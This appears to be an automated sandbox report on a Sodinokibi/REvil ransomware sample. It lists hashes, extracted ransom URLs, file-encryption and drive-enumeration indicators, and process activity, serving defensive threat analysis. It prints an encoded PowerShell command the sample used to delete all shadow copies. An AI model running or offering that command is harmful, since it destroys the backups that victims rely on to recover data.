Analysis
-
max time kernel
141s -
max time network
175s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 01:47
Static task
static1
Behavioral task
behavioral1
Sample
7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe
Resource
win10-en-20211208
General
-
Target
7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe
-
Size
165KB
-
MD5
e2b5c416473037e099da9eb05c3be0c5
-
SHA1
c6f5fc44799ecdafc2ad7d2e00065f852fcc304d
-
SHA256
7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48
-
SHA512
fb5d8f74d447e0d94a0118fb533863c7c3ab94fdbe97f0fa3d1c75eedc5f2e03cd800b6fe1d8764b9195c29beea5e604850d88e63dcc122f4cd87b479b483fc5
Malware Config
Extracted
C:\k1up96-help.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/94762E324AAC8CF8
http://decryptor.top/94762E324AAC8CF8
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Modifies extensions of user files 11 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exedescription ioc process File opened for modification \??\c:\users\admin\pictures\MeasureDebug.tiff 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\users\admin\pictures\SkipPing.tiff 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\users\admin\pictures\StartUndo.tiff 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File renamed C:\Users\Admin\Pictures\SetRegister.raw => \??\c:\users\admin\pictures\SetRegister.raw.k1up96 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File renamed C:\Users\Admin\Pictures\StartUndo.tiff => \??\c:\users\admin\pictures\StartUndo.tiff.k1up96 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File renamed C:\Users\Admin\Pictures\SkipPing.tiff => \??\c:\users\admin\pictures\SkipPing.tiff.k1up96 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File renamed C:\Users\Admin\Pictures\UndoRepair.raw => \??\c:\users\admin\pictures\UndoRepair.raw.k1up96 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File renamed C:\Users\Admin\Pictures\GrantAssert.crw => \??\c:\users\admin\pictures\GrantAssert.crw.k1up96 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File renamed C:\Users\Admin\Pictures\GroupOut.png => \??\c:\users\admin\pictures\GroupOut.png.k1up96 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File renamed C:\Users\Admin\Pictures\InitializeSet.raw => \??\c:\users\admin\pictures\InitializeSet.raw.k1up96 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File renamed C:\Users\Admin\Pictures\MeasureDebug.tiff => \??\c:\users\admin\pictures\MeasureDebug.tiff.k1up96 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exedescription ioc process File opened (read-only) \??\H: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\J: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\N: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\X: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\Z: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\B: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\E: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\P: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\U: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\Y: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\T: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\V: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\D: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\F: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\G: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\I: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\O: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\S: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\R: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\W: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\A: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\K: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\L: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\M: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened (read-only) \??\Q: 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe -
Drops file in System32 directory 1 IoCs
Processes:
7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exedescription ioc process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\5892qhf5.bmp" 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe -
Drops file in Program Files directory 21 IoCs
Processes:
7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exedescription ioc process File opened for modification \??\c:\program files\ResetCheckpoint.wmx 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\program files\SwitchGrant.xlsb 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\k1up96-help.txt 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\k1up96-help.txt 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File created \??\c:\program files\k1up96-help.txt 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\program files\BackupEnable.snd 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\program files\InitializeUpdate.tmp 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\program files\SetPublish.cr2 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\program files\RemoveProtect.vssm 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\program files\TestInstall.WTV 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\k1up96-help.txt 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\program files\DismountInvoke.otf 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\program files\ExpandWrite.xltx 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\program files\FormatApprove.html 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\program files\ImportBlock.vdx 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\program files\OpenStep.3gp 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\program files\RegisterImport.mht 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File created \??\c:\program files (x86)\k1up96-help.txt 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\program files\DenyAssert.ttc 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\program files\ExpandPop.dotm 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe File opened for modification \??\c:\program files\HideBackup.aif 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe -
Processes:
7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112861900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exepowershell.exepid process 1384 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe 560 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 560 powershell.exe Token: SeBackupPrivilege 1060 vssvc.exe Token: SeRestorePrivilege 1060 vssvc.exe Token: SeAuditPrivilege 1060 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exedescription pid process target process PID 1384 wrote to memory of 560 1384 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe powershell.exe PID 1384 wrote to memory of 560 1384 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe powershell.exe PID 1384 wrote to memory of 560 1384 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe powershell.exe PID 1384 wrote to memory of 560 1384 7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe"C:\Users\Admin\AppData\Local\Temp\7882c0d6116d428fcd01064021e7d71abbf386466d50fda80efe9a98186fdb48.exe"1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/560-55-0x000007FEFB611000-0x000007FEFB613000-memory.dmpFilesize
8KB
-
memory/560-56-0x000007FEF26E0000-0x000007FEF323D000-memory.dmpFilesize
11.4MB
-
memory/560-58-0x0000000002512000-0x0000000002514000-memory.dmpFilesize
8KB
-
memory/560-57-0x0000000002510000-0x0000000002512000-memory.dmpFilesize
8KB
-
memory/560-59-0x0000000002514000-0x0000000002517000-memory.dmpFilesize
12KB
-
memory/560-60-0x000000001B700000-0x000000001B9FF000-memory.dmpFilesize
3.0MB
-
memory/560-61-0x000000000251B000-0x000000000253A000-memory.dmpFilesize
124KB
-
memory/1384-54-0x0000000075471000-0x0000000075473000-memory.dmpFilesize
8KB